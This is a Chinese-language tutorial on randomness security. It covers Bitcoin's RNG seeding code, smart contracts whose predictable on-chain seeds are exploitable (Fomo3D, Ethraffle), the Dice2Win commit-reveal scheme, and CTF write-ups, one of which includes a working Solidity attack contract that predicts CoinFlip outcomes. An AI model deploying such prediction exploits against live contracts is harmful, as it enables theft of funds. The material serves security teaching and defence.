区块链安全—随机数安全分析(下)
字数 1468 2025-08-22 12:22:15
区块链安全—随机数安全分析(下)教学文档
一、比特币随机种子生成机制详解
1. 比特币核心随机数相关函数
比特币源码中random.h文件定义了以下关键随机数函数:
/* Seed OpenSSL PRNG with additional entropy data */
void RandAddSeed();
/* Functions to gather random data via the OpenSSL PRNG */
void GetRandBytes(unsigned char* buf, int num);
uint64_t GetRand(uint64_t nMax);
int GetRandInt(int nMax);
uint256 GetRandHash();
void RandAddSeedSleep();
/* Function to gather random data from multiple sources */
void GetStrongRandBytes(unsigned char* buf, int num);
/** Get 32 bytes of system entropy. */
void GetOSRand(unsigned char *ent32);
/** Check that OS randomness is available */
bool Random_SanityCheck();
/** Initialize the RNG. */
void RandomInit();
2. 关键函数解析
(1) RandAddSeed函数
void RandAddSeed(){
// 使用CPU性能计数器作为种子
int64_t nCounter = GetPerformanceCounter();
RAND_add(&nCounter, sizeof(nCounter), 1.5);
memory_cleanse((void*)&nCounter, sizeof(nCounter));
}
- 获取硬件时间戳作为种子
- 调用OpenSSL的RAND_add函数生成随机数
- 最后执行内存清理确保安全
(2) GetOSRand函数(跨平台实现)
void GetOSRand(unsigned char *ent32){
#if defined(WIN32)
// Windows使用CryptGenRandom
HCRYPTPROV hProvider;
int ret = CryptAcquireContextW(&hProvider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!ret) { RandFailure(); }
ret = CryptGenRandom(hProvider, NUM_OS_RANDOM_BYTES, ent32);
if (!ret) { RandFailure(); }
CryptReleaseContext(hProvider, 0);
#elif defined(HAVE_SYS_GETRANDOM)
// Linux使用getrandom系统调用
int rv = syscall(SYS_getrandom, ent32, NUM_OS_RANDOM_BYTES, 0);
if (rv != NUM_OS_RANDOM_BYTES) {
if (rv < 0 && errno == ENOSYS) {
GetDevURandom(ent32); // 回退到/dev/urandom
} else { RandFailure(); }
}
#elif defined(HAVE_GETENTROPY) && defined(__OpenBSD__)
// OpenBSD使用getentropy
if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) { RandFailure(); }
#elif defined(HAVE_GETENTROPY_RAND) && defined(MAC_OSX)
// macOS使用getentropy或回退到/dev/urandom
if (&getentropy != nullptr) {
if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) { RandFailure(); }
} else { GetDevURandom(ent32); }
#elif defined(HAVE_SYSCTL_ARND)
// FreeBSD使用sysctl
static const int name[2] = {CTL_KERN, KERN_ARND};
int have = 0;
do {
size_t len = NUM_OS_RANDOM_BYTES - have;
if (sysctl(name, ARRAYLEN(name), ent32 + have, &len, nullptr, 0) != 0) {
RandFailure();
}
have += len;
} while (have < NUM_OS_RANDOM_BYTES);
#else
// 默认回退到/dev/urandom
GetDevURandom(ent32);
#endif
}
二、智能合约随机数漏洞实例分析
1. Fomo3D合约漏洞
function airdrop() private view returns(bool){
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
漏洞分析:
- 使用完全公开的链上数据作为随机数种子:
block.timestamp、block.difficulty、block.coinbase、block.gaslimit、block.number - 这些参数在区块链上完全透明可查
- 攻击者可预测随机数结果,导致"薅羊毛"攻击
2. Dice2Win的安全实现(hash-commit-reveal模式)
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
// 验证和存储投注信息
// ...
emit Commit(commit);
// 存储投注参数
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
// 验证区块信息
require(blockhash(bet.placeBlockNumber) == blockHash);
// 使用reveal和blockHash作为熵源结算
settleBetCommon(bet, reveal, blockHash);
}
安全机制:
- 用户选择下注方式并确认
- 服务端生成随机数reveal,计算commit=hash(reveal),签名后发送给用户
- 用户提交commit和签名到placeBet函数
- 服务端在适当时机调用settleBet开奖,提供reveal和blockHash
- 系统验证commit=hash(reveal)后结算
3. Ethraffle_v4b合约漏洞
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
// ...
}
漏洞分析:
- 使用
block.coinbase、msg.sender和block.difficulty作为随机数种子 - 除
msg.sender外,其他参数均可从链上获取 - 攻击者可通过控制合约地址预测和操纵随机结果
三、CTF题目中的随机数漏洞实例
1. 简单随机数预测题目
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) { revert(); }
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
攻击合约:
contract Attack {
CoinFlip fliphack;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function predict() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = predict();
fliphack.flip(guess);
}
}
攻击原理:
- 原合约使用
block.blockhash(block.number-1)作为随机数源 - 攻击合约可读取相同区块信息预测结果
- 实现100%预测准确率
2. LCTF2018题目分析
contract ggbank is ggToken{
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]);
require(balances[msg.sender]>=100);
balances[msg.sender]-=100;
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
}
攻击方法:
- 计算
uint(keccak256(abi.encodePacked(msg.sender))) % 100(固定值) - 监控链上区块,等待
uint(keccak256(abi.encodePacked(block.number))) % 100等于该值 - 在目标区块被挖出前发送交易,争取打包到该区块
- 成功预测可获得20000代币奖励
四、安全随机数生成最佳实践
-
避免使用完全透明的链上数据:
- 不单独使用
block.timestamp、block.number、block.difficulty等 - 不单独使用
msg.sender、address(this)等合约相关地址
- 不单独使用
-
推荐使用hash-commit-reveal模式:
- 用户提交行动计划hash
- 服务端生成随机数reveal
- 分阶段验证和揭示随机数
-
结合多种熵源:
- 混合链上和链下数据源
- 使用Oracle服务提供外部随机源
- 考虑使用VRF(可验证随机函数)
-
关键安全原则:
- 随机数生成过程应对用户不可预测
- 随机数验证过程应对服务端不可篡改
- 实现双向约束机制
五、参考资料
- 以太坊智能合约安全分析
- 区块链随机数生成机制研究
- 智能合约安全编程实践
- Dice2Win安全机制分析
- [Fomo3D合约源码分析](https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4C A542EFA70870#code)